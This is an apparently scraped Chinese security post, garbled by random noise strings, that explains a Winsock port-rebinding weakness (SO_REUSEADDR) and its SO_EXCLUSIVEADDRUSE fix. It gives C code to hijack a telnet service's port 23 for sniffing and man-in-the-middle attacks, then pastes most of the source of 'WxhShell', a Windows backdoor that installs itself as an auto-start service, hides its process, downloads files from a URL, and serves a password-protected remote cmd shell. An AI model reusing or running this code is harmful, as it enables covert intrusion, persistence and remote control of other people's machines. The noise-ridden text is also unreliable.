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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rMhB9zB1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PU1Qsb5 trp0V4b8 saddr.sin_family = AF_INET; [S>2ASj AGYc |; saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ot6aRk pv Gf\pu bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
N#a$t& `,(,tn_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZGKu>yM uW}s)j. 这意味着什么?意味着可以进行如下的攻击: !*%WuyCgr4 ZP\-T*)l$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mh{1*T$fP -K3^BZHI 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^>hW y D lUvpszH= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )j0TeE1R In<n&ib 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 @8ppEFw m1Mt#@,$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5MtLT#C3r n' q4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S9~+c &b%zQ4%d-` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PC-"gi=h +2&@x=xy #include I
,z3xU #include
`yH<E+ #include tAv@R&W, #include e(GP^oK DWORD WINAPI ClientThread(LPVOID lpParam); 9E"vN int main() O%5
r[ { [VsKa\9u WORD wVersionRequested; HTS%^<u DWORD ret; E4~<V=2l WSADATA wsaData; l^pA2yh| BOOL val; li}1S SOCKADDR_IN saddr; h1B16) SOCKADDR_IN scaddr; r[b(I@T+ int err; <#u=[_H SOCKET s; 9vGu0Um SOCKET sc; to DG7XN} int caddsize; zU
gE~ HANDLE mt; |6K+E6H DWORD tid; O\"3J(y, wVersionRequested = MAKEWORD( 2, 2 ); xQ^E"Q,1 err = WSAStartup( wVersionRequested, &wsaData ); YW( Qmo7 if ( err != 0 ) { W;!}#o|%s printf("error!WSAStartup failed!\n"); %R}.#,Suo return -1; P'Ux%Q+B> } rLI8pA|. saddr.sin_family = AF_INET; lE&&_INHQ 0c<.iM //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9NQlI1Wz4 hp 5|@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "J[K 3 saddr.sin_port = htons(23); H1QJk_RL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4GY[7^ { LHkc7X$ printf("error!socket failed!\n"); pEIRh1 return -1; oPXkYW } ujR_"r|l val = TRUE; JNt^ (z //SO_REUSEADDR选项就是可以实现端口重绑定的 XkXHGDEf 1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B"TAjB&
* { P(,p'I;j printf("error!setsockopt failed!\n"); iw8yb;|z;A return -1; _/6!yyl } zxbpEJzpn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MHX?@.
v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i]6`LqlO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ->g*</ '%dfzK*Z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g1W.mAA3B { #><.oreXq ret=GetLastError(); ND>r#(_\ printf("error!bind failed!\n"); LYz.Ci} return -1; vdx0i&RiL } QgU8s'e listen(s,2); \eT5flC while(1) J;{N72 { ]|zp0d=&o caddsize = sizeof(scaddr); :y%/u%L //接受连接请求 *n 6s.$p)% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !Wy6/F@Z if(sc!=INVALID_SOCKET) |:xYE{*)H { qln3 k` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <`B,R*H{ if(mt==NULL) Tgm nG/Z { M<.d8?p ) printf("Thread Creat Failed!\n"); gcPTLh[^Er break; E_])E`BJ } r? NznNVU } =|3ek CloseHandle(mt); T92UeG } ]B%v+uaW closesocket(s); Po__-xN>Q WSACleanup(); kb{]>3Y" return 0; s:#V(<J } sk,ox~0R DWORD WINAPI ClientThread(LPVOID lpParam) mpI5J'>] { g`vny )\7/ SOCKET ss = (SOCKET)lpParam; aT)BR?OYSJ SOCKET sc; oX S1QT`B unsigned char buf[4096]; kI
4MiK SOCKADDR_IN saddr; Bm.:^:&k long num; bx{$Y_L+p DWORD val; w)kNkD DWORD ret; dZ rAn //如果是隐藏端口应用的话,可以在此处加一些判断 tD(7^GuR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +cgSC5nR saddr.sin_family = AF_INET; RrX[|GLSJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h|VeG3H saddr.sin_port = htons(23); <lw`
3aa( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j9?}j#@ { 5iz{op<$, printf("error!socket failed!\n"); 5!DBmAB return -1; P9^-6;'Y } DcoX+8 7 val = 100; FbaEB RM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }=gx# { Hv
sob ret = GetLastError(); ewa wL" return -1; lef2 X1w}! } (l-tvk4Ln if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KIui(n#/ { =XucOli6 ret = GetLastError(); ej4W{IN~: return -1; {QHVo# } 5p<ItU$pnL if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qq) rd { I/d&G#:~ printf("error!socket connect failed!\n"); x }\64 closesocket(sc); k7?N ?7w closesocket(ss); }.3nthgz return -1; ^?cz,N~ } lE;Ewg while(1) #!aN{nK0 { uD1e!oU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D7lK30 //如果是嗅探内容的话,可以再此处进行内容分析和记录 4]G?G]lS> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x(hE3S#+ num = recv(ss,buf,4096,0); YQ+tDZY8` if(num>0) #E?(vA1 send(sc,buf,num,0);
z.$4!$q else if(num==0) ,k{#S?:b break; "U!AlZ`g num = recv(sc,buf,4096,0); *5vV6][ if(num>0) M=1n QF2J send(ss,buf,num,0); 4
Y;Nm1@ else if(num==0) 6+.uU[x@ break; N^HUijw< } 2^mJ+v< closesocket(ss); L\)ZC closesocket(sc); -yE/f2PgQ return 0 ; QrB@cK] } ?WF/|/ ]+|~cRQ9I S4^vpY
DeN ========================================================== mL{B!Q #w,Dwy 下边附上一个代码,,WXhSHELL 7ePqmB<. 0vEoGgY0*: ========================================================== q*\x0"mS/ p<TpK ) #include "stdafx.h" ?]Pmxp
H} |B'9\OkP[= #include <stdio.h> qUjmB sB #include <string.h> bSfpbo4( #include <windows.h> 6|aKL[%6 #include <winsock2.h> >TOu|r #include <winsvc.h> +W:=e,= #include <urlmon.h> S0~2{G"v =U #dJ^4P #pragma comment (lib, "Ws2_32.lib") CK,7^U #pragma comment (lib, "urlmon.lib") #JgH}|&a$ W%T>SpFl #define MAX_USER 100 // 最大客户端连接数 OK{quM5 #define BUF_SOCK 200 // sock buffer tSVc|j #define KEY_BUFF 255 // 输入 buffer J6U$qi *+j*{>E #define REBOOT 0 // 重启 @x"0_Qw #define SHUTDOWN 1 // 关机 ::ajlRZG G B>QK #define DEF_PORT 5000 // 监听端口 rs,2rSsg! +Vm}E0Ov #define REG_LEN 16 // 注册表键长度 2q3+0Et8 #define SVC_LEN 80 // NT服务名长度 )Y2{_ bx4" MS\>DW // 从dll定义API !G SV6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BybW)+~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 85n1eE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D}dn.$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
tNGp\~ |?qquD 4= // wxhshell配置信息 62 O.?Ij struct WSCFG { V n* int ws_port; // 监听端口 xnmmXtk char ws_passstr[REG_LEN]; // 口令 jp0<pw_ int ws_autoins; // 安装标记, 1=yes 0=no ` D= S{
char ws_regname[REG_LEN]; // 注册表键名 S/D^ char ws_svcname[REG_LEN]; // 服务名 R]OpQ[k char ws_svcdisp[SVC_LEN]; // 服务显示名 5Yl<h)1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 RoU55mL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #9X70|f int ws_downexe; // 下载执行标记, 1=yes 0=no ^C_#<m_k char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ppZDGpp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H
*[_cqnv IB[)TZ2m }; i'9vL:3 p?B=1vn-2 // default Wxhshell configuration >sWp? struct WSCFG wscfg={DEF_PORT, &;+-?k| "xuhuanlingzhe", KVD8YfF 1, [-\%4 "Wxhshell", ^:#D0[ "Wxhshell", D@Vt^_ "WxhShell Service", >sK!F$ "Wrsky Windows CmdShell Service", f>W- "Please Input Your Password: ", tS|(K=$
1, fjU8gV " http://www.wrsky.com/wxhshell.exe", N'g>MBdI "Wxhshell.exe" c2&q*]?l; }; <)u`~$n2 5qr'.m // 消息定义模块 *Eo?k<:zPm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pb?$t char *msg_ws_prompt="\n\r? for help\n\r#>"; oJ4AIQjB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; /4g1zrU char *msg_ws_ext="\n\rExit."; l y(>8F char *msg_ws_end="\n\rQuit."; AS\F{ !O char *msg_ws_boot="\n\rReboot..."; BaSZ71>9]r char *msg_ws_poff="\n\rShutdown..."; 4WJ.^ ( char *msg_ws_down="\n\rSave to "; cFeXpj?GV
dR"@` char *msg_ws_err="\n\rErr!"; d5oIH char *msg_ws_ok="\n\rOK!"; Y8o)FVcyNy Qk,I^1w?7 char ExeFile[MAX_PATH]; ch0{+g& int nUser = 0; w)Q0_2p. HANDLE handles[MAX_USER]; Cq%IE^g< int OsIsNt; ||;hciO <$X3Hye SERVICE_STATUS serviceStatus; ,6om\9.E@ SERVICE_STATUS_HANDLE hServiceStatusHandle; +R|z{M)* ;
mZW{j // 函数声明 !4^C #{$ int Install(void); oZ!m int Uninstall(void); MOn int DownloadFile(char *sURL, SOCKET wsh); F;+|sMrq int Boot(int flag); @ Wd9I;hWv void HideProc(void); CE/Xfh'44 int GetOsVer(void); mT.u0KUIy int Wxhshell(SOCKET wsl); EL(nDv void TalkWithClient(void *cs); 1IZ3=6 int CmdShell(SOCKET sock); =~=*&I4Dp int StartFromService(void); 8$0rR55 int StartWxhshell(LPSTR lpCmdLine); \3pc"^W /7}It$|nhy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qYlhlHD VOID WINAPI NTServiceHandler( DWORD fdwControl ); T~Gvp0r}h k}
| // 数据结构和表定义 #MRMNL@ SERVICE_TABLE_ENTRY DispatchTable[] = )pq;*~IBI { ,M^ P! {wscfg.ws_svcname, NTServiceMain}, Mz~M3$$9n {NULL, NULL} OoA|8!CFa }; aFS,GiB Q$="_y2cTA // 自我安装 fSs4ZXC int Install(void) yF"1#{*y { X)7x<?DAy char svExeFile[MAX_PATH]; 0l-Ef1 HKEY key; {\c(ls{ strcpy(svExeFile,ExeFile); i*#-I3 Yy)tmq // 如果是win9x系统,修改注册表设为自启动 >D(R YI if(!OsIsNt) { +\F'iAs@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xHz[t6;4; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gqu?o&>9 RegCloseKey(key); z@B=:tf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wid;8%m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %F-ZN^R RegCloseKey(key); TWQG591 return 0; f!!V${)X } X@K-^8 } E0MGRI"me } _nbBIaHN{ else { :'~Y kw"SwdP5 // 如果是NT以上系统,安装为系统服务 >g+?Oebgw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y#u}tE
d if (schSCManager!=0) %<an9WMF { *Df,Ijh $ SC_HANDLE schService = CreateService \E%'Y ( E
,|xJjh schSCManager, )6|yb65ZUX wscfg.ws_svcname, S"OR% wscfg.ws_svcdisp, rdJ d#S SERVICE_ALL_ACCESS, DGAX3N;r6{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c6X}2a' SERVICE_AUTO_START, lzYnw)Pv SERVICE_ERROR_NORMAL, 6P5Ih
svExeFile, ?34 e- NULL, Z; A`oKd NULL, <;#~l* NULL, &!/}Qp NULL, ^(|vsFzn NULL `"&da#N] ); h $L/<3oP6 if (schService!=0) ;uwRyd { #m{UrTC CloseServiceHandle(schService); |aT| l^2R@ CloseServiceHandle(schSCManager); UG'9*(* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XVvK2( strcat(svExeFile,wscfg.ws_svcname); k;w- E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .)<(Oj|4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rz@=pR : RegCloseKey(key); $+>M{fg? return 0; WC.t_"@ } kX>f^U{j } pBETA'fY CloseServiceHandle(schSCManager); JWMpPzs } q.2ykL } a^=-Mp 3WUTI( return 1; yjhf
} :&:JTa1cv $aN&nhoO< // 自我卸载 21< j\
M int Uninstall(void) IuNiEtKx { r9
!Tug*>m HKEY key; +TQ47Zc hA33K #bC if(!OsIsNt) { {3.r6ZwCn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OU/MiyP2 RegDeleteValue(key,wscfg.ws_regname); >]W)'lnO RegCloseKey(key); j{Txl\D> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8AnP7}n;?' RegDeleteValue(key,wscfg.ws_regname); m"o ;L3 RegCloseKey(key); A@sZ14+f return 0; |m80]@> } w0C~*fn3l } unBy&?&p } /ig:9R else { Um: Hrjw /k<WNZM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qUOKB6 if (schSCManager!=0) x}Aw)QCh+r { o]p|-<I Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |Tm!VFd if (schService!=0) <oo { '*?WU_L(g if(DeleteService(schService)!=0) { -*m+(7G\ CloseServiceHandle(schService); LWHd~"eU CloseServiceHandle(schSCManager); qHP78&wUx return 0; ^",ACWF4Sk } $`-4Ax4% CloseServiceHandle(schService); =Q[b'*o7 } T+<A`k: - CloseServiceHandle(schSCManager); `/~8}Y{ } -tyK~aasQ } 4=Krq6{ H8`(O"V return 1; iTV) NsC} } V2i@.@$j _<NMyRJo // 从指定url下载文件 W~p/,H cM int DownloadFile(char *sURL, SOCKET wsh) aOiR l, { ltD37QZQ HRESULT hr; 3l3'bw2 char seps[]= "/"; ,iv|Pq$! char *token; ")!,ZD char *file; #*g5u{k'P char myURL[MAX_PATH]; `zE}1M%y char myFILE[MAX_PATH]; %LZ({\5K#f a\:VREKj, strcpy(myURL,sURL); kJ-*fe'S token=strtok(myURL,seps); aBw2f[mo while(token!=NULL) * C6a?] { YI.w-K\ file=token; ^-[ ?#] token=strtok(NULL,seps); gW1b~(
fD } %0mMz.f [_.5RPJP8 GetCurrentDirectory(MAX_PATH,myFILE); mUz\ra;z strcat(myFILE, "\\"); ?1[\! strcat(myFILE, file); i6 (a@KRY send(wsh,myFILE,strlen(myFILE),0); A6pjRxg send(wsh,"...",3,0); y:vxE8$Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wf&W^Q if(hr==S_OK) BZXUwqEh return 0; =T7A]U] else yT#{UA^ return 1; 9gEssTkts }Iz7l{al } _+^ 2^TW S9>0t0 // 系统电源模块 acw4B5] int Boot(int flag) 3,Q^&
1 { 2d {y M(=( HANDLE hToken; sqS=qC TOKEN_PRIVILEGES tkp; XxaGp95so f~_th @K if(OsIsNt) { /2HN>{F^Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cc, `}SP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %T[^D&9$, tkp.PrivilegeCount = 1; ]+m/;&0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m/@<c'i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9Y<#=C if(flag==REBOOT) { C>[fB|^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .]9c / return 0; T1r3=Y4 } jh.@- else { kee|42E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f7 'q- return 0; D Kw*~0 } j$7Xs" } F|HJH"2*&q else { 5 XA=G if(flag==REBOOT) { I6s3+x;O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |/| return 0; `WOYoec
} Y2[A2Uy$ef else { ZDC9oX @ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bI y sl return 0; >R2SQA o } d|*"IFe } wV)}a5+ s-7RW return 1; N*@aDM07 } d.2mT?`# v i)%$~ // win9x进程隐藏模块 PccB] void HideProc(void) 3J=Y9 } { dna6QV>A Bs MuQ|! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <soz#}e if ( hKernel != NULL ) S inl { ~Wp Gf, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N7s'6(`=X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x+@&(NMP5 FreeLibrary(hKernel); `+/H^ } :Yj)CGl$ \i[BP return; \bx~*FaX } )C. yF)Ql 3~qR // 获取操作系统版本
> QFHm5Jw int GetOsVer(void)
4\& { x5Z-{" OSVERSIONINFO winfo; )*5G">) )p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O`$#Pg GetVersionEx(&winfo); zj|/ CxV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3<?XTv- return 1; G8I Y# else T'fcc6D5p return 0; oQ7]=| } zLD|/` O3.C:?;x // 客户端句柄模块 {gKN d*[* int Wxhshell(SOCKET wsl) ]}UgS+g>$ { 5`<eKwls SOCKET wsh; s:AkkkF struct sockaddr_in client; V
>,Z-&.% DWORD myID; oy<J6 2 /y}a#s while(nUser<MAX_USER) oR*=|B { K$
v"Uk int nSize=sizeof(client); vLO&Lpv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /"ymZI!k\ if(wsh==INVALID_SOCKET) return 1; ?v-1zCls ?'r9"M> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'lS`s( if(handles[nUser]==0)
-~4+w closesocket(wsh); R1-k3;v^ else J@9}`y=K nUser++; )n=ARDd^e } ?_`0G/xl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 111D3 $A}QY5`+~S return 0; !eJCM`cp } ^I]{7$6^ L"<B;u5pM // 关闭 socket f'6|OsVQ void CloseIt(SOCKET wsh) somfv$'B { )uLr?$qe closesocket(wsh); 9B+wYJp nUser--; M)cGz$Q| ExitThread(0); /dDzZ%/@ } E-1"+p ^UA(HthY // 客户端请求句柄 Iwpbf Z void TalkWithClient(void *cs) Qeb}!k2A { xiyxrR; \O7J=6fn SOCKET wsh=(SOCKET)cs; iQ^:
])m> char pwd[SVC_LEN]; o7+>G~i char cmd[KEY_BUFF]; Q&M'=+T char chr[1]; /9Ilo\MdD int i,j; J`#`fX 3hq1yyec while (nUser < MAX_USER) { ~k'V*ERNSj >m_v5K if(wscfg.ws_passstr) { dZ:r&Qa if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c#b:3dXx9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tk/`%Q //ZeroMemory(pwd,KEY_BUFF); Y~n`~( i=0; fn9#>~vrD while(i<SVC_LEN) { v&3O&y/1v THhy ~wC". // 设置超时 J<JBdk fd_set FdRead; )'q%2%Ak struct timeval TimeOut; KIL18$3J FD_ZERO(&FdRead); )qPSD2h FD_SET(wsh,&FdRead); GLKO]y TimeOut.tv_sec=8; nj\_lL+ TimeOut.tv_usec=0; OYf{?-QD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #/j ={*- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fu8 7fVi/\ #1$}S=8*f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r9ke,7? pwd =chr[0]; GoE#Mxh xo if(chr[0]==0xd || chr[0]==0xa) { Su8'$CFz$. pwd=0; f|xLKcOP break; =hw^P%Zn } 9u wL{P& i++; U
|F>W~% } u9![6$R 1a9w(X // 如果是非法用户,关闭 socket {U
<tc4^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rbk<z\pc } !Y;<:zx5 ~,}s(`~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LCQkgRs}~{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'o\;x"YJ QJ];L7Hbo while(1) { # bX~=` Jm![W8L ZeroMemory(cmd,KEY_BUFF); gwQvao ma}}Sn)Q // 自动支持客户端 telnet标准 6b:DJ j=0; ~HP
LV while(j<KEY_BUFF) { eX<K5K.B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wsg//Ec] cmd[j]=chr[0]; FU@uH
U5fd if(chr[0]==0xa || chr[0]==0xd) { Wp*sPZ cmd[j]=0; 6tOi^+qN break; '\*A"8;h } k)E ;( j++; R @r{ } g'G8 3F r`]7S_t5T // 下载文件 XUsy.l/ if(strstr(cmd,"http://")) { oofFrAaT send(wsh,msg_ws_down,strlen(msg_ws_down),0); J>v$2?w`w if(DownloadFile(cmd,wsh)) .]Ybp2`"U send(wsh,msg_ws_err,strlen(msg_ws_err),0); MOV =n75 else >.Q0Tx!P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [:i sZG* } R^9"N?Q7;` else { ,o&<WMD 96W4c]NT switch(cmd[0]) { md6*c./Z tL8't]M, // 帮助 g)M#{"H case '?': { w2)/mSnu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5X;?I/9 break; DyI2Ye } $DV-Ieb // 安装 fH!=Zb_{8 case 'i': { H!JWc'(<$ if(Install()) EHWv3sR- send(wsh,msg_ws_err,strlen(msg_ws_err),0); p#b{xK else |'@[N, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^"`Z1)V break; (^S5Sc= } -q(:%; // 卸载 L;C|ow^c case 'r': { _z:Qhe if(Uninstall()) $Z7:#cZ Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); |B1Af else !?r/ 4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3ExVZu$ break; /$OIlu } ^4hc+sh0D // 显示 wxhshell 所在路径 ,'-?:`hP' case 'p': { pU[K%@sC char svExeFile[MAX_PATH]; aa=b<Cd strcpy(svExeFile,"\n\r"); !@yQK<0 strcat(svExeFile,ExeFile); 4H7Oh*P\j send(wsh,svExeFile,strlen(svExeFile),0); IuWX*b`v break; ~mcZUiP9 }
H8"tbU // 重启 o@@w^## case 'b': { vUfO4yfdg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F=5kF/}x-z if(Boot(REBOOT)) Ko-QR( send(wsh,msg_ws_err,strlen(msg_ws_err),0); tz8t9lb[ else { Ey= 4 b closesocket(wsh); coO.kTO; ExitThread(0); ULbP_y>(Y } #x|VfN5f break; >;.* } MZiF];OY // 关机 .ftUhg case 'd': { J<-Fua^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WV~SL/k| if(Boot(SHUTDOWN)) HtS#_y%( send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[vCpa else { _pW'n=}R closesocket(wsh);
G%`cJdM ExitThread(0); V"U~Q=`K } `NoCH[$!+ break; q\G{]dz?R } j>g9\i0O1 // 获取shell +9}' s{ case 's': { 0, "ZV} CmdShell(wsh); JSUzEAKe closesocket(wsh); a~F u ExitThread(0); fcn_<Yh0W break; bF7`] 83 } gTyW#verh$ // 退出 'iDu0LX case 'x': { (T;1q^j send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?bCTLt7k CloseIt(wsh); ]N_140N~ break; ?xf~!D } aH9L|BN* // 离开 l85CJ+rg case 'q': { .>oM
z&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); b__n~\q_ closesocket(wsh); PKATw>zg< WSACleanup(); ~EPjZ3 ? exit(1); s!=!A break; }K+\8em } ~JT lPU' } >d)|r } _qk9o rcpvH}N: // 提示信息 hXBqz9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zm5nLxM } ]#+5)[N$> } ;S{ZC5 M`q#,Y?3^I return; J~:kuf21 } :nTkg[49pJ WoJ]@Me8 // shell模块句柄 kv[OW"8t int CmdShell(SOCKET sock) Psg +\ 14 { N/`g?B[ STARTUPINFO si; o(BYT9|.kw ZeroMemory(&si,sizeof(si)); 1.xw'i si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~91uk3ST? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;9
R40qi PROCESS_INFORMATION ProcessInfo; Rf&^th}TH char cmdline[]="cmd"; HL|0 d
} CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >hh"IfIZ4 return 0; mT}Aje-L } v UJ sFR 5,g$|,Shv // 自身启动模式 a'c9XG} int StartFromService(void) \"{/yjO|4 { aj%
`x4eA typedef struct '[0
3L9 { d8 3+6d DWORD ExitStatus; _dz:\v DWORD PebBaseAddress; ok8JnQC DWORD AffinityMask; (}~ 1{C@ DWORD BasePriority; P2s^=J0@ ULONG UniqueProcessId; `7+tPbjs ULONG InheritedFromUniqueProcessId; K1CMLX]m } PROCESS_BASIC_INFORMATION; sz){uOI q|m#IVc PROCNTQSIP NtQueryInformationProcess; 0R.Gjz*Q z2$FYn Q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nj"_sA
p static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZzSJm+&' `1DU b7< HANDLE hProcess; c|8KT PROCESS_BASIC_INFORMATION pbi; P1vF{e k B$lkl\C HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *NKC\aV`0 if(NULL == hInst ) return 0; Y>c5:F; .f [\G*
